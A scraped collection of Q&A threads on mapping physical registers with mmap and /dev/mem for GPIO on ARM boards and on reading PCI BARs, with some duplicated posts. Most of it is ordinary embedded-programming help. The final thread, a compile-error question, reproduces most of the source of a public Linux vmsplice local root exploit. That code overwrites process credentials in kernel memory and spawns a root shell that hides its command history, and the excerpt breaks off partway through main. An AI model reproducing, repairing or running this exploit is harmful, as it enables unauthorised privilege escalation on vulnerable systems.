Map size and mmap Invalid argument error - c

I am trying to access physical addresses registers on my ARM (https://4donline.ihs.com/images/VipMasterIC/IC/ATML/ATML-S-A0001248554/ATML-S-A0001248554-1.pdf) with mmap but I don't know what length to put. For example, if I have a register at address 0xFFFFFCE8 in which I have access to 32 bit.What should I put in mmap size_t ?
Thank you for you help !
EDIT :Here and here we can see they put 4096, and on the first one it is a SAM9 almost the same as mine.So, why did they put 4096 ?Maybe because if I do :
#include <unistd.h>
long sz = sysconf(_SC_PAGESIZE);
printf("%ld",sz);
Th answer is 4096...
EDIT 2 :Based on this post I could write this :
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
#define PIOD_START_ADDR 0xFFFFFA00
#define PIOD_STOP_ADDR 0xFFFFFC00
#define PIOD_SIZE (PIOD_STOP_ADDR-PIOD_START_ADDR)
#define PIO_WPMR_OFFSET 0xE4 // PIO Write Protection Mode Register Bank D
#define PIO_PUER_OFFSET 0x64 // PIO Pull-Up Enable Register Bank D
#define PIO_PUSR_OFFSET 0x68 // PIO Pull-Up Status Register Bank D
#define LED7_ON 0xFFDFFFFF // LED7 Mask ON
#define LED7_OFF 0xFFFFFFFF // LED7 Mask OFF
#define DESABLE_WRITE_PROTECTION_BANK_D 0x50494F00 // Desable write protection
int main(void) {
volatile void *gpio_D_addr;
volatile unsigned int *gpio_pullup_enable_addr;
volatile unsigned int *gpio_pullup_status_addr;
volatile unsigned int *gpio_enable_write_addr;
int fd = open("/dev/mem", O_RDWR|O_SYNC);
if (fd < 0){
fprintf(stderr, "Unable to open port\n\r");
exit(fd);
}
gpio_D_addr = mmap(0, PIOD_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, PIOD_START_ADDR);
gpio_addr = mmap(0, GPIO1_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, GPIO1_START_ADDR);
if(gpio_D_addr == MAP_FAILED){
handle_error("mmap");
}
gpio_enable_write_addr = gpio_D_addr + PIO_WPMR_OFFSET;
gpio_pullup_enable_addr = gpio_D_addr + PIO_PUER_OFFSET;
gpio_pullup_status_addr = gpio_D_addr + PIO_PUSR_OFFSET;
*gpio_enable_write_addr = DESABLE_WRITE_PROTECTION_BANK_D;
*gpio_pullup_enable_addr = *gpio_pullup_status_addr & LED7_ON;
return 0;
}
But I have a mmap: Invalid argument error.
--> But by changing the mmap like so (thank to this thread): mmap(NULL, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, PIOD_START_ADDR & ~MAP_MASK); with :
#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)
I no longer have the error but nothing happened...
Any idea ?

Read Chapter 5 of the datasheet you provided as a link. It describes the various memories and memory mapping for this device. The address you gave is 32-bit, but you need to make sure about its mapping. That's where the chart on p. 18 comes in -- along with becoming familiar with the entire 1200-page datasheet if you really want to program these SAM devices at a low level.
The address you gave also seems to be for the PMC (power management controller) memory space (according to the map), so I'd review that section, chapter 21.

Thank you to #vlk and his library in python I could make it work ! Here is a little example for toggling a LED :
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
#define _PIOD_BANK_D 0xA00
#define _PIO_OFFSET 0xFFFFF000
/* When executing this on the board :
long sz = sysconf(_SC_PAGESIZE);
printf("%ld\n\r",sz);
We have 4096.
*/
#define _MAP_SIZE 0x1000 // 4096
#define _WPMR_OFFSET 0x0E4 // PIO Write Protection Mode Register Bank D
#define _PIO_ENABLE 0x000
#define _PIO_DISABLE 0x004
#define _PIO_STATUS 0x008
#define _OUTPUT_ENABLE 0x010
#define _OUTPUT_DISABLE 0x014
#define _OUTPUT_STATUS 0x018
#define _FILTER_ENABLE 0x020
#define _FILTER_DISABLE 0x024
#define _FILTER_STATUS 0x028
#define _OUTPUT_DATA_SET 0x030
#define _OUTPUT_DATA_CLEAR 0x034
#define _OUTPUT_DATA_STATUS 0x038
#define _PIN_DATA_STATUS 0x03c
#define _MULTI_DRIVER_ENABLE 0x050
#define _MULTI_DRIVER_DISABLE 0x054
#define _MULTI_DRIVER_STATUS 0x058
#define _PULL_UP_DISABLE 0x060
#define _PULL_UP_ENABLE 0x064
#define _PULL_UP_STATUS 0x068
#define _PULL_DOWN_DISABLE 0x090
#define _PULL_DOWN_ENABLE 0x094
#define _PULL_DOWN_STATUS 0x098
#define _DISABLE_WRITE_PROTECTION 0x50494F00 // Desable write protection
#define LED_PIN 21
int main(void) {
volatile void *gpio_addr;
volatile unsigned int *gpio_enable_addr;
volatile unsigned int *gpio_output_mode_addr;
volatile unsigned int *gpio_output_set_addr;
volatile unsigned int *gpio_output_clear_addr;
volatile unsigned int *gpio_data_status_addr;
volatile unsigned int *gpio_write_protection_addr;
int fd = open("/dev/mem", O_RDWR|O_SYNC);
if (fd < 0){
fprintf(stderr, "Unable to open port\n\r");
exit(fd);
}
gpio_addr = mmap(NULL, _MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, _PIO_OFFSET);
if(gpio_addr == MAP_FAILED){
handle_error("mmap");
}
gpio_write_protection_addr = gpio_addr + _PIOD_BANK_D + _WPMR_OFFSET;
gpio_enable_addr = gpio_addr + _PIOD_BANK_D + _PIO_ENABLE;
gpio_output_mode_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_ENABLE;
gpio_output_set_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_DATA_SET;
gpio_output_clear_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_DATA_CLEAR;
gpio_data_status_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_DATA_STATUS;
*gpio_write_protection_addr = _DISABLE_WRITE_PROTECTION;
*gpio_enable_addr = 1 << LED_PIN;
*gpio_output_mode_addr = 1 << LED_PIN; // Output
// If LED
if((*gpio_data_status_addr & (1<<LED_PIN)) > 0){
*gpio_output_clear_addr = 1 << LED_PIN;
}else{
*gpio_output_set_addr = 1 << LED_PIN;
}
return 0;
}
I had to put _PIO_OFFSET to 0xFFFFF000, and add to the address the value of the D Bank (0xA00), instead of 0xFFFFFA00 because it resulted with mmap: Invalid argument. Don't know why..
EDIT :
Found the solution with the mmap example :
#define _PIO_OFFSET 0xFFFFFA00 // Instead of 0xFFFFF000
#define _MAP_SIZE 0x1000 // 4096
#define _MAP_MASK (_MAP_SIZE - 1)
#define _PA_OFFSET _PIO_OFFSET & ~_MAP_MASK
And the mmap :
gpio_addr = mmap(NULL, _MAP_SIZE + _PIO_OFFSET - _PA_OFFSET, PROT_READ | PROT_WRITE, MAP_SHARED, fd, _PA_OFFSET);
And for the assignation :
gpio_enable_addr = gpio_addr + _PIO_OFFSET - (_PA_OFFSET) + _PIO_ENABLE;

Related

mmap behaviour changed after OS upgrade?

After a major OS upgrade this C code behaviour has changed:
...
if ((fd = open(argv[1], O_RDWR | O_SYNC)) == -1)
FATAL;
printf("character device %s opened.\n", argv[1]);
fflush(stdout);
/* map one page */
map_base = mmap(0xe0000000, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (map_base == (void *)-1)
FATAL;
printf("Memory mapped at address %p.\n", map_base);
...
With a binary inherited from an old OS, "old mmap" returns a virtual address 0x7fb20d725000. If I rebuild the same C file on a new OS, it returns 0xe0000000 which seems to be a physical, and subsequent code - which uses this returned address - now fails with a segmentation fault.
How to force mmap to work as before without downgrading the OS or using old binary? Any modern flags for gcc or mmap itself?
Run a code example below with sudo ./test /dev/zero 0x01000000 : (/dev/zero instead of a real device gives the same results)
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <byteswap.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
/* ltoh: little to host */
/* htol: little to host */
#if __BYTE_ORDER == __LITTLE_ENDIAN
#define ltohl(x) (x)
#define ltohs(x) (x)
#define htoll(x) (x)
#define htols(x) (x)
#elif __BYTE_ORDER == __BIG_ENDIAN
#define ltohl(x) __bswap_32(x)
#define ltohs(x) __bswap_16(x)
#define htoll(x) __bswap_32(x)
#define htols(x) __bswap_16(x)
#endif
#define FATAL do { fprintf(stderr, "Error at line %d, file %s (%d) [%s]\n", __LINE__, __FILE__, errno, strerror(errno)); exit(1); } while(0)
#define MAP_SIZE (16*1024*1024UL)
#define MAP_MASK (MAP_SIZE - 1)
int main(int argc, char **argv)
{
int fd;
void *map_base, *virt_addr;
uint32_t read_result, writeval;
off_t target;
char *device;
if (argc != 3) {
fprintf(stderr,
"\nUsage:\t%s <device> <address> [[type] data]\n"
"\tdevice : character device to access\n"
"\taddress : memory address to access\n\n",
argv[0]);
exit(1);
}
device = strdup(argv[1]);
target = strtoul(argv[2], 0, 0);
fprintf("argc = %d, device: %s, address: 0x%08x\n", argc, device, (unsigned int)target);
if ((fd = open(argv[1], O_RDWR | O_SYNC)) == -1)
FATAL;
fprintf(stdout, "character device %s opened.\n", argv[1]);
fflush(stdout);
/* map one page */
map_base = mmap(0xe0000000, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (map_base == (void *)-1)
FATAL;
fprintf(stdout, "Memory mapped at address %p.\n", map_base);
fflush(stdout);
/* calculate the virtual address to be accessed */
virt_addr = map_base + target;
/* read only */
read_result = *((uint32_t *) virt_addr);
/* swap 32-bit endianess if host is not little-endian */
read_result = ltohl(read_result);
printf("Read 32-bit value at address 0x%08x (%p): 0x%08x\n",
(unsigned int)target, virt_addr, (unsigned int)read_result);
if (munmap(map_base, MAP_SIZE) == -1)
FATAL;
close(fd);
return 0;
}
You seem to be confusing virtual and physical addresses. User programs usually only work with virtual addresses. The mmap syscall accepts an hint as first argument: a desired virtual address for the requested mapped area. See man 2 mmap for more information.
What was most likely happening with your previous program was that the call to mmap was probably something like:
map_area = mmap(NULL, /* same arguments here */);
This way, the operating system will choose an appropriate address and return it.
What you are doing in the new program instead, is letting the OS know that you would prefer a specific address (0xe...), and the OS will map memory at that address if possible (very likely). You really shouldn't need this, the program works regardless of the position of the mapped area, but in any case you can keep it.
The reason why you are getting a segmentation fault is because you are mapping an area of 16 * 1024 * 1024 bytes (0x01000000), but then you are accessing memory at an higher offset than the specified size (target >= 0x01000000).
The correct way to do what you are trying to do is to use the offset argument of mmap to request a map that starts at an appropriate offset in the file. Requesting a mapping of two pages starting at that offset will ensure that what you want to read or write will be correctly mapped (assuming the file is big enough, otherwise MAP_FAILED will be returned).
Here's how it should be done:
offset = target & 0xFFFFFFFFFFFFF000; // align target to page size
// Map two pages starting at 0xe... and corresponding to the calculated offset in the file.
map_base = mmap((void *)0xe0000000, 0x1000 * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, offset);
// ...
virt_addr = map_base + (target & 0xfff); // cut target to get offset within the mapped pages
read_result = *((uint32_t *) virt_addr);
read_result = ltohl(read_result);
printf("Read 32-bit value at address 0x%08x (%p): 0x%08x\n",
(unsigned int)target, virt_addr, (unsigned int)read_result);

Unable to read PCI BAR from kernel mode

I have written some code to probe registers of an AMD Vega from userspace using a mmap of the /sys resource. This is working and I am able to read the register values without any problems. However when I implement the kernel mode version of this, all reads return 0xffffffff. I feel like I am missing something simple as the userspace code is returning expected values, where the kernel code fails to read the registers.
Here is the working userspace code:
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <stdint.h>
#define RES_PATH "/sys/devices/pci0000:40/0000:40:01.3/0000:42:00.0/0000:43:00.0/0000:44:00.0/resource5"
#define RES_SIZE (512*1024)
#define MP0_BASE 0x16000
#define mmMP0_SMN_C2PMSG_33 ((MP0_BASE + 0x61) * 4)
#define mmMP0_SMN_C2PMSG_64 ((MP0_BASE + 0x80) * 4)
#define mmMP0_SMN_C2PMSG_81 ((MP0_BASE + 0x91) * 4)
void * map;
uint32_t _preadl(const char * name, uint32_t reg)
{
uint32_t val = *(uint32_t*)(map + reg);
printf("readl %20s (0x%08x / 0x%08x) = 0x%08x\n", name, reg / 4, reg, val);
return val;
}
#define preadl(x) _preadl(#x, x)
int main(int argc, char * argv[])
{
int fd = open(RES_PATH, O_RDWR | O_SYNC, 0);
map = mmap(NULL, RES_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
printf("mmap = %p\n", map);
preadl(mmMP0_SMN_C2PMSG_33);
preadl(mmMP0_SMN_C2PMSG_64);
preadl(mmMP0_SMN_C2PMSG_81);
return 0;
}
And here is the non working kernel code:
static int reset_amdgpu_vega(struct pci_dev *dev, int probe)
{
#define MP0_BASE 0x16000
#define mmMP0_SMN_C2PMSG_33 ((MP0_BASE + 0x61) * 4)
#define mmMP0_SMN_C2PMSG_64 ((MP0_BASE + 0x80) * 4)
#define mmMP0_SMN_C2PMSG_81 ((MP0_BASE + 0x91) * 4)
resource_size_t mmio_base, mmio_size;
void __iomem *mmio;
int ret;
int i;
uint32_t val;
if (probe)
return 0;
mmio_base = pci_resource_start(dev, 5);
mmio_size = pci_resource_len(dev, 5);
mmio = pci_iomap(dev, 5, 0);
if (mmio == NULL) {
printk(KERN_ERR
"[reset_amdgpu_vega] failed to map the resource\n");
ret = -ENOMEM;
goto out;
}
printk(KERN_INFO "mmio: %llx %llx %lx\n",
mmio_base,
mmio_size,
(uintptr_t)mmio);
printk(KERN_INFO "regs: %08x %08x %08x\n",
mmMP0_SMN_C2PMSG_33,
mmMP0_SMN_C2PMSG_64,
mmMP0_SMN_C2PMSG_81);
printk(KERN_INFO "vals: %08x %08x %08x\n",
ioread32(mmio + mmMP0_SMN_C2PMSG_33),
ioread32(mmio + mmMP0_SMN_C2PMSG_64),
ioread32(mmio + mmMP0_SMN_C2PMSG_81));
pci_iounmap(dev, mmio);
ret = 0;
out:
return ret;
}
The problem was that before the pci reset quirk is called, the kernel turns off the PCI_COMMAND_MEMORY flag on the COMMAND register. By doing so the device is no longer readable. The solution is to re-enable the flag first:
pci_read_config_word(dev, PCI_COMMAND, &cfg);
cfg |= PCI_COMMAND_MEMORY;
pci_write_config_word(dev, PCI_COMMAND, cfg);

WRITE and READ memory mapped device registers in Linux on ARM

I am trying to read and write registers on my ARM9 (SAM9X25) following those steps : http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.faqs/ka3750.htmlI ended with the following code :
#include "stdio.h"
#define PIO_WPMR_BANK_D 0xFFFFFAE4 // PIO Write Protection Mode Register Bank D
#define PIO_PUER_BANK_D 0xFFFFFA64 // PIO Pull-Up Enable Register Bank D
#define PIO_PUSR_BANK_D 0xFFFFFA68 // PIO Pull-Up Status Register Bank D
#define MASK_LED7 0xFFDFFFFF // LED7 Mask
#define DESABLE_WRITE_PROTECTION_BANK_D 0x50494F00 // Desable write protection Bank D
int main(void) {
printf("test");
unsigned int volatile * const register_PIO_WPMR_BANK_D = (unsigned int *) PIO_WPMR_BANK_D;
unsigned int volatile * const register_PIO_PUSR_BANK_D = (unsigned int *) PIO_PUSR_BANK_D;
unsigned int volatile * const port_D = (unsigned int *) PIO_PUER_BANK_D;
*register_PIO_WPMR_BANK_D = DESABLE_WRITE_PROTECTION_BANK_D;
*port_D = *register_PIO_PUSR_BANK_D & MASK_LED7;
return 0; }
I cross compiled my code in Ubuntu 16.04 like so arm-linux-gnueabi-gcc gpio.c -o gpio But I have a Segmentation Fault just after the printf during the execution of the program on my board. I know the addresses are right... So why do I have this error?Is it the good way ?Thank you for your help !
SOLUTION :
Thank you to #vlk I could make it work ! Here is a little example for toggling a LED :
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
#define _PIOD_BANK_D 0xA00
#define _PIO_OFFSET 0xFFFFF000
/* When executing this on the board :
long sz = sysconf(_SC_PAGESIZE);
printf("%ld\n\r",sz);
We have 4096.
*/
#define _MAP_SIZE 0x1000 // 4096
#define _WPMR_OFFSET 0x0E4 // PIO Write Protection Mode Register Bank D
#define _PIO_ENABLE 0x000
#define _PIO_DISABLE 0x004
#define _PIO_STATUS 0x008
#define _OUTPUT_ENABLE 0x010
#define _OUTPUT_DISABLE 0x014
#define _OUTPUT_STATUS 0x018
#define _FILTER_ENABLE 0x020
#define _FILTER_DISABLE 0x024
#define _FILTER_STATUS 0x028
#define _OUTPUT_DATA_SET 0x030
#define _OUTPUT_DATA_CLEAR 0x034
#define _OUTPUT_DATA_STATUS 0x038
#define _PIN_DATA_STATUS 0x03c
#define _MULTI_DRIVER_ENABLE 0x050
#define _MULTI_DRIVER_DISABLE 0x054
#define _MULTI_DRIVER_STATUS 0x058
#define _PULL_UP_DISABLE 0x060
#define _PULL_UP_ENABLE 0x064
#define _PULL_UP_STATUS 0x068
#define _PULL_DOWN_DISABLE 0x090
#define _PULL_DOWN_ENABLE 0x094
#define _PULL_DOWN_STATUS 0x098
#define _DISABLE_WRITE_PROTECTION 0x50494F00 // Desable write protection
#define LED_PIN 21
int main(void) {
volatile void *gpio_addr;
volatile unsigned int *gpio_enable_addr;
volatile unsigned int *gpio_output_mode_addr;
volatile unsigned int *gpio_output_set_addr;
volatile unsigned int *gpio_output_clear_addr;
volatile unsigned int *gpio_data_status_addr;
volatile unsigned int *gpio_write_protection_addr;
int fd = open("/dev/mem", O_RDWR|O_SYNC);
if (fd < 0){
fprintf(stderr, "Unable to open port\n\r");
exit(fd);
}
gpio_addr = mmap(NULL, _MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, _PIO_OFFSET);
if(gpio_addr == MAP_FAILED){
handle_error("mmap");
}
gpio_write_protection_addr = gpio_addr + _PIOD_BANK_D + _WPMR_OFFSET;
gpio_enable_addr = gpio_addr + _PIOD_BANK_D + _PIO_ENABLE;
gpio_output_mode_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_ENABLE;
gpio_output_set_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_DATA_SET;
gpio_output_clear_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_DATA_CLEAR;
gpio_data_status_addr = gpio_addr + _PIOD_BANK_D + _OUTPUT_DATA_STATUS;
*gpio_write_protection_addr = _DISABLE_WRITE_PROTECTION;
*gpio_enable_addr = 1 << LED_PIN;
*gpio_output_mode_addr = 1 << LED_PIN; // Output
// If LED
if((*gpio_data_status_addr & (1<<LED_PIN)) > 0){
*gpio_output_clear_addr = 1 << LED_PIN;
}else{
*gpio_output_set_addr = 1 << LED_PIN;
}
return 0;
}
EDIT :
Answer for the 3) in the comments. You have to change the mmap and the assignations like so if you want it to work with all the offsets (i.e : mmap example):
#define _PIO_OFFSET 0xFFFFFA00 // Instead of 0xFFFFF000
#define _MAP_SIZE 0x1000 // 4096
#define _MAP_MASK (_MAP_SIZE - 1)
#define _PA_OFFSET _PIO_OFFSET & ~_MAP_MASK
And the mmap :
gpio_addr = mmap(NULL, _MAP_SIZE + _PIO_OFFSET - _PA_OFFSET, PROT_READ | PROT_WRITE, MAP_SHARED, fd, _PA_OFFSET);
And for the assignation :
gpio_enable_addr = gpio_addr + _PIO_OFFSET - (_PA_OFFSET) + _PIO_ENABLE;
You can't access registers directly, because Linux use MMU and this create for your application virtual address space which is different than physical MCU address space and access outside this virtual address space cause segmentation fault.
Only Way to access these registers in Linux (if you don't want to write kernel drivers) is to open file /dev/mem as file and map it with mmap
For example I have small python library for access GPIO registers on Atmel SAM MCU gpiosam. You can inspire and port it to C.
busybox devmem
busybox devmem is a tiny CLI utility that mmaps /dev/mem.
You can get it in Ubuntu with: sudo apt-get install busybox
Usage: read 4 bytes from the physical address 0x12345678:
sudo busybox devmem 0x12345678
Write 0x9abcdef0 to that address:
sudo busybox devmem 0x12345678 w 0x9abcdef0
See this for a few tips on how to test it out: Accessing physical address from user space
Also mentioned at: https://unix.stackexchange.com/questions/4948/shell-command-to-read-device-registers

ARM linux userspace gpio operations using mmap /dev/mem approach (able to write to GPIO registers, but fail to read from them)

Kernel version 3.12.30-AM335x-PD15.1.1 by PHYTEC.
If I use the /sys/class/gpio way, I can see that the button input pin (gpio103 of AM3359) value changes from 0 to 1.
Following the this exercise http://elinux.org/EBC_Exercise_11b_gpio_via_mmap
and executing the below command for reading gpio pins usig /dev/mem approach:
`devmem2 0x481ae13c`
(base of gpio bank 3 which is 0x481ae000 + 0x13c dataout offset)
I get the below output regardless of button position.
/dev/mem opened
Memory mapped at address 0xb6fd1000.
Read at address 0x481AE13C (0xb6fd113c): 0x00000000
Also with the c program given below I managed to toggle gpios using /dev/mem; however I could not read them succesfuly.
in the header file:
#define GPIO0_START_ADDRESS (0x44E07000)
#define GPIO1_START_ADDRESS (0x4804C000)
#define GPIO2_START_ADDRESS (0x481AC000)
#define GPIO3_START_ADDRESS (0x481AE000)
#define GPIO0_END_ADDRESS (0x44e09000)
#define GPIO1_END_ADDRESS (0x4804E000)
#define GPIO2_END_ADDRESS (0x481AE000)
#define GPIO3_END_ADDRESS (0x481B0000)
#define GPIO0_SIZE (GPIO0_END_ADDRESS - GPIO0_START_ADDRESS)
#define GPIO1_SIZE (GPIO1_END_ADDRESS - GPIO1_START_ADDRESS)
#define GPIO2_SIZE (GPIO2_END_ADDRESS - GPIO2_START_ADDRESS)
#define GPIO3_SIZE (GPIO3_END_ADDRESS - GPIO3_START_ADDRESS)
#define GPIO_SETDATAOUT (0x194)
#define GPIO_CLEARDATAOUT (0x190)
#define GPIO_DATAOUT (0x13c)
somewhere in the program:
int fd = open("/dev/mem", O_RDWR);
//int fd = open("/dev/mem", O_RDWR|O_SYNC);
gpio0_address = mmap(0, GPIO0_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, GPIO0_START_ADDRESS);
gpio1_address = mmap(0, GPIO1_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, GPIO1_START_ADDRESS);
gpio2_address = mmap(0, GPIO2_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, GPIO2_START_ADDRESS);
gpio3_address = mmap(0, GPIO3_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, GPIO3_START_ADDRESS);
if(gpio0_address == MAP_FAILED){ printf("unable to map GPIO0 bank.\n"); }
if(gpio1_address == MAP_FAILED){ printf("unable to map GPIO1 bank.\n"); }
if(gpio2_address == MAP_FAILED){ printf("unable to map GPIO2 bank.\n"); }
if(gpio3_address == MAP_FAILED){ printf("unable to map GPIO3 bank.\n"); }
gpio0_dataout_address = gpio0_address + GPIO_DATAOUT;
gpio0_setdataout_address = gpio0_address + GPIO_SETDATAOUT;
gpio0_cleardataout_address = gpio0_address + GPIO_CLEARDATAOUT;
gpio1_dataout_address = gpio1_address + GPIO_DATAOUT;
gpio1_setdataout_address = gpio1_address + GPIO_SETDATAOUT;
gpio1_cleardataout_address = gpio1_address + GPIO_CLEARDATAOUT;
gpio2_dataout_address = gpio2_address + GPIO_DATAOUT;
gpio2_setdataout_address = gpio2_address + GPIO_SETDATAOUT;
gpio2_cleardataout_address = gpio2_address + GPIO_CLEARDATAOUT;
gpio3_dataout_address = gpio3_address + GPIO_DATAOUT;
gpio3_setdataout_address = gpio3_address + GPIO_SETDATAOUT;
gpio3_cleardataout_address = gpio3_address + GPIO_CLEARDATAOUT;
read_GPIO_bank_memory(3, &GPIO3_bank_memory);
read function:
void read_GPIO_bank_memory(int bank, four_bytes* gpio_bank_dataout)
{
switch(bank)
{
case 0:
gpio_bank_dataout->ALL = *gpio0_dataout_address;
break;
case 1:
gpio_bank_dataout->ALL = *gpio1_dataout_address;
break;
case 2:
gpio_bank_dataout->ALL = *gpio2_dataout_address;
break;
case 3:
gpio_bank_dataout->ALL = *gpio3_dataout_address;
break;
}
}
You should use GPIO_DATAIN Register (offset = 138h) to read from GPIO pin, not GPIO_DATAOUT.

PAGE_SIZE undeclared C

I am having some issues compiling / fixing a script due to the fact I am not well versed in the C language.
I would appreciate some help fixing the issues!
I get the following errors:
error: ‘PAGE_SIZE’ undeclared (first use in this function)
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
This error is because PAGE_SIZE is set within asm/page.h (as far as I am aware)
the code is below and from https://www.exploit-db.com/exploits/5092/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
// #include <asm/page.h>
// ^^ this was originally causing me issues, due to the fact this is compiled
//within the kernel
#define __KERNEL__
#include <asm/page.h> //moving it here fixed location error, but now I get the new issue
#include <asm/unistd.h>
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");
if (!uid || !gid)
die("!##$", 0);
/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
